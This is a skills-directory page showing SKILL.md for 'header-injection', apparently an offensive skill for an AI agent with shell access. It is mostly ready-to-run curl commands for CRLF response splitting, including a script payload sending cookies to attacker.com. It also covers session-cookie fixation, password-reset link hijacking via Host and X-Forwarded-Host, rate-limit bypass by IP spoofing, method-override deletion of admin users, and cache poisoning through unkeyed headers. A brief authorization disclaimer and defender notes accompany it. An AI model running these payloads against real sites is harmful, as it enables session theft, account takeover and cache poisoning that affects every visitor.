Skip to main content

header-injection

HTTP header injection — CRLF/response splitting, Host-header cache poisoning, X-Forwarded-* abuse, Content-Disposition/Set-Cookie injection, and password-reset link poisoning via unvalidated header values.

Jump to install

Source facts

Repository
BitterSecurity/Decepticon
Last source activity
May 30, 2026 at 01:29
Detected SKILL.md language
English
Stars
5,565
Forks
1,053

Install options

The review-first prompt is selected by default. You can switch to a direct command or download a local copy.

Review the source files

Read SKILL.md and any companion files shown by SkillsMP before deciding whether to install.

Showing SKILL.md

SKILL.md
Source instructions · Read-only preview
name
header-injection
description
HTTP header injection — CRLF/response splitting, Host-header cache poisoning, X-Forwarded-* abuse, Content-Disposition/Set-Cookie injection, and password-reset link poisoning via unvalidated header values.
allowed-tools
Bash Read Write
metadata
{"subdomain":"injection","when_to_use":"header injection, CRLF injection, response splitting, host header poisoning, host header injection, X-Forwarded-Host, cache poisoning header, Content-Disposition injection, Set-Cookie injection, password reset poisoning, HTTP response splitting, unkeyed header, X-Forwarded-For bypass, method override header, header smuggling","tags":"web-application, injection, crlf, cache-poisoning, host-header","mitre_attack":"T1190, T1557.002"}
# HTTP Header Injection Header injection turns user-controlled input into HTTP protocol control. When server code copies a request value into a response header without CR/LF stripping, an attacker can terminate the current header and inject new headers or an entire second HTTP response. At the cache layer, headers that influence the response body but are excluded from the cache key enable persistent cache poisoning. The same family of bugs drives Host-header password-reset link hijacking, `X-Forwarded-For` rate-limit bypass, and `Content-Disposition` filename injection. **Authorized use only.** Only test systems you are explicitly authorized to assess. Cache poisoning attacks affect all users of a shared cache resource. ## Attack Surface - Query/body/path parameters echoed into `Location`, `Set-Cookie`, `Content-Type`, `Content-Disposition`, `Link`, or custom `X-*` headers - Request headers re-reflected into responses: `Referer`, `User-Agent`, `X-Forwarded-Host`, correlation IDs - Password-reset / account-recovery flows where the reset link is built from the `Host` header - OAuth/SSO redirect flows where `Location` is derived from user input - CDN/reverse-proxy stacks where `X-Forwarded-Host` or `X-Forwarded-Proto` is echoed into canonical URLs - `Content-Disposition: attachment; filename=<user_input>` file-download endpoints - Outbound email headers populated from user-supplied fields (To/From/Subject) ## CR/LF Injection Payload Set These are the characters and encodings to inject. Try each until one survives to the response header: | Encoding | Value | Notes | |----------|-------|-------| | URL bare LF | `%0a` | Most permissive servers | | URL bare CR | `%0d` | Rarely effective alone | | URL CRLF | `%0d%0a` | Classic; many filters strip this | | Double-encoded | `%250d%250a` | Bypasses single-decode WAFs | | Tab | `%09` | RFC 7230 permits tab in field values; some parsers fold into preceding header | | Null byte | `%00` | Truncates value in some C-based parsers | | Unicode LS/PS | `%e2%80%a8` / `%e2%80%a9` | U+2028/U+2029; some intermediaries fold to LF | | Overlong UTF-8 CR | `%c0%8d` | Invalid per spec but accepted by some older parsers | ## CRLF Response Splitting Response splitting injects `\r\n\r\n` to terminate the current response and begin a second attacker-controlled one. Impact: inject `Set-Cookie: admin=1`, deliver a phishing page, or poison a shared cache. ### Detection ```bash TARGET="https://<TARGET>" # Basic CRLF probe — inject into a redirect or Location parameter curl -sv "${TARGET}/redirect?url=https://evil.com%0d%0aSet-Cookie:%20admin=1" 2>&1 \ | grep -iE "^< (set-cookie|location|http)" # Probe via User-Agent or Referer if those are reflected curl -sv "${TARGET}/" -A "probe%0d%0aX-Injected: crlf-test" 2>&1 \ | grep -i "x-injected" ``` **Win signal:** `X-Injected: crlf-test` or `Set-Cookie: admin=1` appears in the response headers. ### Exploitation: Inject Arbitrary Cookie ```bash PAYLOAD='https://legit.example.com%0d%0aSet-Cookie:%20session=attacker_value;%20Path=/' curl -sv "${TARGET}/redirect?url=${PAYLOAD}" 2>&1 | grep -i "set-cookie" ``` If the injected `Set-Cookie` appears, victims visiting this redirect URL (e.g., via a phishing link) receive the attacker-controlled session cookie, enabling session fixation. ### Exploitation: Response Splitting for Cache Poisoning ```bash # Force a second 200 response body into the cache slot for / PAYLOAD='foo%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>document.location="https://attacker.com/?c="+document.cookie</script>' curl -sv "${TARGET}/redirect?url=${PAYLOAD}" 2>&1 | grep -iE "^< (http|content-type|set-cookie)" # Then check if / is now poisoned: curl -s "${TARGET}/" | grep -i "attacker.com" ``` ## Host Header Poisoning The `Host` header is trusted by application code to build absolute URLs (canonical links, password-reset links, OAuth redirect URIs). Injecting a malicious `Host` causes the app to generate URLs pointing at attacker infrastructure. ### Password Reset Link Hijacking The highest-impact Host header attack: victim requests a password reset, the app builds `https://<Host>/reset?token=<token>` and emails it. If `Host` is attacker-controlled, the victim clicks a link to the attacker's server which captures the token. ```bash # Inject host directly curl -sv -X POST "${TARGET}/forgot-password" \ -H "Host: attacker.com" \ -H "Content-Type: application/json" \ -d '{"email":"victim@example.com"}' 2>&1 | grep -i "location\|set-cookie" # Also try X-Forwarded-Host override (some proxies allow this to override Host) curl -sv -X POST "${TARGET}/forgot-password" \ -H "Host: target.com" \ -H "X-Forwarded-Host: attacker.com" \ -H "Content-Type: application/json" \ -d '{"email":"victim@example.com"}' 2>&1 | grep -i "location\|set-cookie" ``` **Win signal:** An email arrives (check your inbox if testing your own account) with `https://attacker.com/reset?token=...` in the body. ### Host Header Cache Poisoning If the app echoes `Host` or `X-Forwarded-Host` into response content (e.g., Open Graph tags, canonical links, JS config) but the CDN caches keyed only on URL: ```bash # Step 1: Poison the cache with a malicious host curl -sv "https://<TARGET>/" \ -H "X-Forwarded-Host: attacker.com" 2>&1 | grep -iE "(canonical|og:url|script src)" # Step 2: Verify the cached response serves the poisoned content to a clean client curl -s "https://<TARGET>/" | grep "attacker.com" # If attacker.com appears, the cache was poisoned ``` ## X-Forwarded-For and Rate Limit Bypass Applications that rate-limit or IP-allowlist based on `X-Forwarded-For` or `X-Real-IP` without validating the source (i.e., trusting the client-supplied header rather than the proxy-appended one): ```bash # Bypass IP-based rate limit or allowlist for i in $(seq 1 20); do curl -s "${TARGET}/api/login" \ -H "X-Forwarded-For: 127.0.0.1" \ -H "X-Real-IP: 127.0.0.1" \ -H "Content-Type: application/json" \ -d '{"user":"admin","pass":"wrong"}' | python3 -m json.tool 2>/dev/null | grep -i "error\|remain\|limit" done # If the server never throttles, X-Forwarded-For spoofing bypasses the rate limiter ``` ## Content-Disposition Filename Injection When a file-download endpoint builds `Content-Disposition: attachment; filename=<user_input>`: ```bash # Probe: inject CRLF into filename curl -sv "${TARGET}/download?file=report.pdf%0d%0aContent-Type:%20text/html" 2>&1 \ | grep -i "content-type\|content-disposition" # Probe: inject semicolon to override filename (header parameter smuggling) curl -sv "${TARGET}/download?file=legit.pdf;%20filename=evil.html" 2>&1 \ | grep -i "content-disposition" ``` ## X-HTTP-Method-Override Bypass Some apps respect `X-HTTP-Method-Override` or `_method` to allow clients to "override" the HTTP method. This can bypass method-specific auth checks: ```bash # Attempt DELETE via POST with method override curl -sv -X POST "${TARGET}/api/admin/users/2" \ -H "X-HTTP-Method-Override: DELETE" \ -H "Content-Type: application/json" \ -b basic.jar | head -5 curl -sv -X POST "${TARGET}/api/admin/users/2" \ -H "X-HTTP-Method-Override: PUT" \ -H "Content-Type: application/json" \ -d '{"role":"admin"}' \ -b basic.jar | head -5 ``` ## Cache Poisoning via Unkeyed Headers The core technique: find a header that affects the response body but is not included in the cache key. ### Enumeration ```bash # Probe which headers alter the response (vary the value, check body diff) for hdr in "X-Forwarded-Host" "X-Forwarded-Proto" "X-Original-URL" "X-Rewrite-URL" "X-Forwarded-Port" "X-Host" "Forwarded"; do LEN=$(curl -s "${TARGET}/" -H "$hdr: canary-${RANDOM}" | wc -c) BASELINE=$(curl -s "${TARGET}/" | wc -c) echo "$hdr → body len $LEN (baseline $BASELINE)" done # Headers that change body length are reflected and potentially unkeyed ``` ### Verification That a Header Is Unkeyed ```bash # Send with a canary value CANARY="poison-$(date +%s)" curl -s "${TARGET}/" -H "X-Forwarded-Host: ${CANARY}.attacker.com" | grep -c "$CANARY" # Output > 0: header is reflected # Now fetch WITHOUT the header - if body still contains canary, it was cached curl -s "${TARGET}/" | grep "$CANARY" # Output > 0: cached! The cache doesn't key on X-Forwarded-Host. ``` ## Verification Checklist 1. **CRLF:** injected header (`Set-Cookie`, custom `X-*`) appears in the response without the `\r\n` being encoded 2. **Host-header poisoning:** password-reset email contains attacker-controlled hostname in the reset URL 3. **Cache poisoning:** a clean curl (no injected headers) returns a response body containing the canary value 4. **Rate-limit bypass:** after N requests with spoofed IP header, no throttling response, whereas without the header the Nth request is blocked 5. **Method override:** DELETE/PUT action via `X-HTTP-Method-Override` on a POST endpoint succeeds with a basic-user token ## ATT&CK Mapping - T1190 — Exploit Public-Facing Application (CRLF injection, host header poisoning) - T1557.002 — Adversary-in-the-Middle: ARP Cache Poisoning (analogous poisoning at the HTTP layer via unkeyed cache headers) ## False Positives - Headers stripped or encoded by an upstream WAF/proxy before reaching the app - `Host` not used to build URLs (app uses a hardcoded base URL from config) - Cache keys include `Vary: X-Forwarded-Host` explicitly (verify with `Vary` response header) - `X-Forwarded-For` value overwritten by legitimate proxy before the rate-limiter reads it ## Detection Notes Defenders: strip or reject CR/LF in any user-controlled value that flows into a response header. Use a fixed `BASE_URL` config for password-reset link generation instead of trusting `Host`. Ensure CDN cache keys include any header that influences the response. Log and alert on `X-Forwarded-For` values containing internal IPs (127.0.0.1, 10.x, 172.16–31.x, 192.168.x). ## Output Files ``` ./ ├── header_injection_crlf_probe.txt # Raw response showing injected header ├── header_injection_host_reset.txt # Email/response proving reset link poisoning ├── header_injection_cache_poison.txt # Clean-fetch response containing canary └── header_injection_summary.md # Technique, payload, evidence, impact ```
View on GitHub